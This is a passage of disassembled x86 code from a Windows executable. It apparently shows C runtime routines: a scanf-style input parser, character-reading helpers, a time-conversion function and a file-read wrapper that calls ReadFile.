		mov	edi, offset dword_431820
		jmp	loc_417B79
; ---------------------------------------------------------------------------


loc_417A6E:				; CODE XREF: sub_41760D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_417D1C
		sub	eax, 3
		jz	loc_417B6A
		dec	eax
		dec	eax
		jz	loc_417D20
		sub	eax, 3
		jz	loc_417856
		sub	eax, 3
		jz	short loc_417ABC


loc_417A98:				; CODE XREF: sub_41760D+21Bj
					; sub_41760D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_417FE3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_417F74
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_417F74
; ---------------------------------------------------------------------------


loc_417ABC:				; CODE XREF: sub_41760D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_417AC6
		mov	[ebp+var_16], 1


loc_417AC6:				; CODE XREF: sub_41760D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_417B7D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_417B79
; ---------------------------------------------------------------------------


loc_417AE0:				; CODE XREF: sub_41760D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_417B07


loc_417AE5:				; CODE XREF: sub_41760D+259j
		dec	[ebp+var_C]
		jnz	short loc_417AF6
		cmp	[ebp+var_20], 0
		jz	short loc_417AF6
		mov	[ebp+var_F], 1
		jmp	short loc_417B07
; ---------------------------------------------------------------------------


loc_417AF6:				; CODE XREF: sub_41760D+4DBj
					; sub_41760D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_417B07:				; CODE XREF: sub_41760D+4D6j
					; sub_41760D+4E7j
		cmp	ebx, 30h
		jnz	loc_417D55
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_417B55
		cmp	bl, 58h
		jz	short loc_417B55
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_417B3F
		push	6Fh


loc_417B39:				; CODE XREF: sub_41760D+55Bj
		pop	esi
		jmp	loc_417D55
; ---------------------------------------------------------------------------


loc_417B3F:				; CODE XREF: sub_41760D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_418083
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_417D52
; ---------------------------------------------------------------------------


loc_417B55:				; CODE XREF: sub_41760D+517j
					; sub_41760D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_417B39
; ---------------------------------------------------------------------------


loc_417B6A:				; CODE XREF: sub_41760D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_417B74
		mov	[ebp+var_16], 1


loc_417B74:				; CODE XREF: sub_41760D+561j
		mov	edi, offset dword_431818


loc_417B79:				; CODE XREF: sub_41760D+45Cj
					; sub_41760D+4CEj
		or	[ebp+var_18], 0FFh


loc_417B7D:				; CODE XREF: sub_41760D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_417BA1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_417BA1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_417BA4
; ---------------------------------------------------------------------------


loc_417BA1:				; CODE XREF: sub_41760D+584j
					; sub_41760D+589j
		mov	dl, [ebp+var_35]


loc_417BA4:				; CODE XREF: sub_41760D+592j
					; sub_41760D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_417C09
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_417BF0
		test	dl, dl
		jz	short loc_417BF0
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_417BF0
		inc	edi
		cmp	dl, cl
		jnb	short loc_417BC3
		mov	al, cl
		jmp	short loc_417BC7
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_41760D+5B0j
		mov	al, dl
		mov	dl, cl


loc_417BC7:				; CODE XREF: sub_41760D+5B4j
		cmp	dl, al
		ja	short loc_417BEC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_417BD4:				; CODE XREF: sub_41760D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_417BD4


loc_417BEC:				; CODE XREF: sub_41760D+5BCj
		xor	dl, dl
		jmp	short loc_417BA4
; ---------------------------------------------------------------------------


loc_417BF0:				; CODE XREF: sub_41760D+5A0j
					; sub_41760D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_417BA4
; ---------------------------------------------------------------------------


loc_417C09:				; CODE XREF: sub_41760D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_418013
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_417C1B
		mov	[ebp+arg_4], edi


loc_417C1B:				; CODE XREF: sub_41760D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_418083
		pop	ecx
		pop	ecx


loc_417C32:				; CODE XREF: sub_41760D+6BCj
					; sub_41760D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_417C46
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_417CE2


loc_417C46:				; CODE XREF: sub_41760D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_417CD6
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_417CD6
		cmp	[ebp+var_E], 0
		jnz	short loc_417CCE
		cmp	[ebp+var_16], 0
		jz	short loc_417CC3
		mov	ecx, off_4314B0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417CA2
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		pop	ecx
		mov	[ebp+var_37], al


loc_417CA2:				; CODE XREF: sub_41760D+686j
		push	dword_4316BC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41A89A
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_417CC6
; ---------------------------------------------------------------------------


loc_417CC3:				; CODE XREF: sub_41760D+673j
		mov	[esi], al
		inc	esi


loc_417CC6:				; CODE XREF: sub_41760D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_417C32
; ---------------------------------------------------------------------------


loc_417CCE:				; CODE XREF: sub_41760D+66Dj
		inc	[ebp+var_30]
		jmp	loc_417C32
; ---------------------------------------------------------------------------


loc_417CD6:				; CODE XREF: sub_41760D+649j
					; sub_41760D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_418083
		pop	ecx
		pop	ecx


loc_417CE2:				; CODE XREF: sub_41760D+633j
		cmp	[ebp+var_30], esi
		jz	loc_418013
		cmp	[ebp+var_E], 0
		jnz	loc_417F74
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_417F74
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_417D14
		and	word ptr [eax],	0
		jmp	loc_417F74
; ---------------------------------------------------------------------------


loc_417D14:				; CODE XREF: sub_41760D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_417F74
; ---------------------------------------------------------------------------


loc_417D1C:				; CODE XREF: sub_41760D+466j
		mov	[ebp+var_D], 1


loc_417D20:				; CODE XREF: sub_41760D+203j
					; sub_41760D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_417D2E
		mov	[ebp+var_17], 1
		jmp	short loc_417D33
; ---------------------------------------------------------------------------


loc_417D2E:				; CODE XREF: sub_41760D+719j
		cmp	ebx, 2Bh
		jnz	short loc_417D55


loc_417D33:				; CODE XREF: sub_41760D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_417D44
		cmp	[ebp+var_20], 0
		jz	short loc_417D44
		mov	[ebp+var_F], 1
		jmp	short loc_417D55
; ---------------------------------------------------------------------------


loc_417D44:				; CODE XREF: sub_41760D+729j
					; sub_41760D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		pop	ecx
		mov	ebx, eax


loc_417D52:				; CODE XREF: sub_41760D+543j
		mov	[ebp+var_14], ebx


loc_417D55:				; CODE XREF: sub_41760D+4FDj
					; sub_41760D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_417E6E
		cmp	[ebp+var_F], 0
		jnz	loc_417E4C


loc_417D69:				; CODE XREF: sub_41760D+82Cj
		cmp	esi, 78h
		jnz	short loc_417DBD
		cmp	dword_4316BC, 1
		jle	short loc_417D86
		push	80h
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417D93
; ---------------------------------------------------------------------------


loc_417D86:				; CODE XREF: sub_41760D+768j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_417D93:				; CODE XREF: sub_41760D+777j
		test	eax, eax
		jz	loc_417E3E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41A990
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_418032
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_417E10
; ---------------------------------------------------------------------------


loc_417DBD:				; CODE XREF: sub_41760D+75Fj
		cmp	dword_4316BC, 1
		jle	short loc_417DD2
		push	4
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417DDD
; ---------------------------------------------------------------------------


loc_417DD2:				; CODE XREF: sub_41760D+7B7j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_417DDD:				; CODE XREF: sub_41760D+7C3j
		test	eax, eax
		jz	short loc_417E3E
		cmp	esi, 6Fh
		jnz	short loc_417DFB
		cmp	ebx, 38h
		jge	short loc_417E3E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41A990
		jmp	short loc_417E0A
; ---------------------------------------------------------------------------


loc_417DFB:				; CODE XREF: sub_41760D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4123A0


loc_417E0A:				; CODE XREF: sub_41760D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_417E10:				; CODE XREF: sub_41760D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_417E28
		dec	[ebp+var_C]
		jz	short loc_417E4C


loc_417E28:				; CODE XREF: sub_41760D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_417D69
; ---------------------------------------------------------------------------


loc_417E3E:				; CODE XREF: sub_41760D+788j
					; sub_41760D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_418083
		pop	ecx
		pop	ecx


loc_417E4C:				; CODE XREF: sub_41760D+756j
					; sub_41760D+819j
		cmp	[ebp+var_17], 0
		jz	loc_417F32
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_417F32
; ---------------------------------------------------------------------------


loc_417E6E:				; CODE XREF: sub_41760D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_417F2A


loc_417E78:				; CODE XREF: sub_41760D+90Aj
		cmp	esi, 78h
		jz	short loc_417EBC
		cmp	esi, 70h
		jz	short loc_417EBC
		cmp	dword_4316BC, 1
		jle	short loc_417E97
		push	4
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417EA2
; ---------------------------------------------------------------------------


loc_417E97:				; CODE XREF: sub_41760D+87Cj
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_417EA2:				; CODE XREF: sub_41760D+888j
		test	eax, eax
		jz	short loc_417F1C
		cmp	esi, 6Fh
		jnz	short loc_417EB5
		cmp	ebx, 38h
		jge	short loc_417F1C
		shl	edi, 3
		jmp	short loc_417EF4
; ---------------------------------------------------------------------------


loc_417EB5:				; CODE XREF: sub_41760D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_417EF4
; ---------------------------------------------------------------------------


loc_417EBC:				; CODE XREF: sub_41760D+86Ej
					; sub_41760D+873j
		cmp	dword_4316BC, 1
		jle	short loc_417ED4
		push	80h
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417EE1
; ---------------------------------------------------------------------------


loc_417ED4:				; CODE XREF: sub_41760D+8B6j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_417EE1:				; CODE XREF: sub_41760D+8C5j
		test	eax, eax
		jz	short loc_417F1C
		push	ebx
		shl	edi, 4
		call	sub_418032
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_417EF4:				; CODE XREF: sub_41760D+8A6j
					; sub_41760D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_417F06
		dec	[ebp+var_C]
		jz	short loc_417F2A


loc_417F06:				; CODE XREF: sub_41760D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_417E78
; ---------------------------------------------------------------------------


loc_417F1C:				; CODE XREF: sub_41760D+897j
					; sub_41760D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_418083
		pop	ecx
		pop	ecx


loc_417F2A:				; CODE XREF: sub_41760D+865j
					; sub_41760D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_417F32
		neg	edi


loc_417F32:				; CODE XREF: sub_41760D+843j
					; sub_41760D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_417F3B
		and	[ebp+var_1C], 0


loc_417F3B:				; CODE XREF: sub_41760D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_418013
		cmp	[ebp+var_E], 0
		jnz	short loc_417F74
		inc	[ebp+var_34]


loc_417F4E:				; CODE XREF: sub_41760D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_417F64
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_417F74
; ---------------------------------------------------------------------------


loc_417F64:				; CODE XREF: sub_41760D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_417F71
		mov	[eax], edi
		jmp	short loc_417F74
; ---------------------------------------------------------------------------


loc_417F71:				; CODE XREF: sub_41760D+95Ej
		mov	[eax], di


loc_417F74:				; CODE XREF: sub_41760D+241j
					; sub_41760D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_417FC1
; ---------------------------------------------------------------------------


loc_417F7F:				; CODE XREF: sub_41760D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_417FEE
		mov	ecx, off_4314B0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417FC1
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_417FFC
		dec	[ebp+var_4]


loc_417FC1:				; CODE XREF: sub_41760D+970j
					; sub_41760D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_417FD7
		cmp	byte ptr [esi],	25h
		jnz	short loc_418019
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_418019
		mov	esi, eax


loc_417FD7:				; CODE XREF: sub_41760D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_417637
		jmp	short loc_418013
; ---------------------------------------------------------------------------


loc_417FE3:				; CODE XREF: sub_41760D+1F4j
					; sub_41760D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_417FF3
; ---------------------------------------------------------------------------


loc_417FEE:				; CODE XREF: sub_41760D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_417FF3:				; CODE XREF: sub_41760D+9DFj
		call	sub_418083
		pop	ecx
		pop	ecx
		jmp	short loc_418013
; ---------------------------------------------------------------------------


loc_417FFC:				; CODE XREF: sub_41760D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_418083
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_418083
		add	esp, 10h


loc_418013:				; CODE XREF: sub_41760D+1Fj
					; sub_41760D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41802A


loc_418019:				; CODE XREF: sub_41760D+9BDj
					; sub_41760D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41802D
		cmp	[ebp+var_15], al
		jnz	short loc_41802D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41802D
; ---------------------------------------------------------------------------


loc_41802A:				; CODE XREF: sub_41760D+A0Aj
		mov	eax, [ebp+var_34]


loc_41802D:				; CODE XREF: sub_41760D+A11j
					; sub_41760D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41760D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418032	proc near		; CODE XREF: sub_41760D+7A3p
					; sub_41760D+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4316BC, 1
		push	esi
		jle	short loc_41804C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_41805B
; ---------------------------------------------------------------------------


loc_41804C:				; CODE XREF: sub_418032+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4314B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41805B:				; CODE XREF: sub_418032+18j
		test	eax, eax
		jnz	short loc_418065
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_418065:				; CODE XREF: sub_418032+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_418032	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41760D+1E1p
					; sub_41760D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41807B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41807B:				; CODE XREF: sub_418069+7j
		push	edx
		call	sub_418180
		pop	ecx
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================



sub_418083	proc near		; CODE XREF: sub_41760D+6Bp
					; sub_41760D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_418099
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41A9AF
		pop	ecx
		pop	ecx

locret_418099:				; CODE XREF: sub_418083+5j
		retn
sub_418083	endp


; =============== S U B	R O U T	I N E =======================================



sub_41809A	proc near		; CODE XREF: sub_41760D+63p
					; sub_41760D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4180A0:				; CODE XREF: sub_41809A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_418069
		mov	edi, eax
		push	edi
		call	sub_41A962
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4180A0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41809A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180BE	proc near		; CODE XREF: sub_4134A4+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41817A
		cmp	ebx, 8Ah
		jg	loc_41817A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_431F44[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4180FD
		cmp	edi, 2
		jle	short loc_4180FD
		inc	esi


loc_4180FD:				; CODE XREF: sub_4180BE+37j
					; sub_4180BE+3Cj
		call	sub_41AA1D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_431E60
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_418170
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_418176
		cmp	dword_431E64, 0
		jz	short loc_418176
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41AC90
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418176


loc_418170:				; CODE XREF: sub_4180BE+90j
		add	ecx, dword_431E68


loc_418176:				; CODE XREF: sub_4180BE+96j
					; sub_4180BE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41817D
; ---------------------------------------------------------------------------


loc_41817A:				; CODE XREF: sub_4180BE+13j
					; sub_4180BE+1Fj
		or	eax, 0FFFFFFFFh


loc_41817D:				; CODE XREF: sub_4180BE+BAj
		pop	ebx
		leave
		retn
sub_4180BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_413580+A9p
					; sub_4140AC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_418254
		test	al, 40h
		jnz	loc_418254
		test	al, 2
		jz	short loc_4181A6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_418254
; ---------------------------------------------------------------------------


loc_4181A6:				; CODE XREF: sub_418180+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_4181BA
		push	esi
		call	sub_419939
		pop	ecx
		jmp	short loc_4181BF
; ---------------------------------------------------------------------------


loc_4181BA:				; CODE XREF: sub_418180+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_4181BF:				; CODE XREF: sub_418180+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_418259
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_418243
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418243
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_418218
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_418201
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_463EE0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_418206
; ---------------------------------------------------------------------------


loc_418201:				; CODE XREF: sub_418180+6Bj
		mov	edi, offset dword_431B10


loc_418206:				; CODE XREF: sub_418180+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_418218
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_418218:				; CODE XREF: sub_418180+62j
					; sub_418180+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_418235
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_418235
		test	ch, 4
		jnz	short loc_418235
		mov	dword ptr [esi+18h], 1000h


loc_418235:				; CODE XREF: sub_418180+9Fj
					; sub_418180+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418243:				; CODE XREF: sub_418180+55j
					; sub_418180+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_418254:				; CODE XREF: sub_418180+Aj
					; sub_418180+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_418180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418259	proc near		; CODE XREF: sub_413580+90p
					; sub_418180+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_463FE0
		jnb	loc_418436
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:463EE0h[eax*4]
		mov	eax, dword_463EE0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_418436
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41830E
		test	dl, 2
		jnz	short loc_41830E
		test	dl, 48h
		jz	short loc_4182CE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_4182CE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_4182CE:				; CODE XREF: sub_418259+56j
					; sub_418259+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_41D098	; ReadFile
		test	eax, eax
		jnz	short loc_418321
		call	dword_41D06C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_418309
		mov	dword_462BC4, 9
		mov	dword_462BC8, ecx
		jmp	loc_418447
; ---------------------------------------------------------------------------


loc_418309:				; CODE XREF: sub_418259+99j
		cmp	eax, 6Dh
		jnz	short loc_418315


loc_41830E:				; CODE XREF: sub_418259+4Cj
					; sub_418259+51j
		xor	eax, eax
		jmp	loc_41844A
; ---------------------------------------------------------------------------


loc_418315:				; CODE XREF: sub_418259+B3j
		push	eax
		call	sub_418CFA
		pop	ecx
		jmp	loc_418447
; ---------------------------------------------------------------------------


loc_418321:				; CODE XREF: sub_418259+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_418431
		test	edx, edx
		jz	short loc_418346
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_418346
		or	al, 4
		jmp	short loc_418348
; ---------------------------------------------------------------------------


loc_418346:				; CODE XREF: sub_418259+E2j
					; sub_418259+E7j
		and	al, 0FBh


loc_418348:				; CODE XREF: sub_418259+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
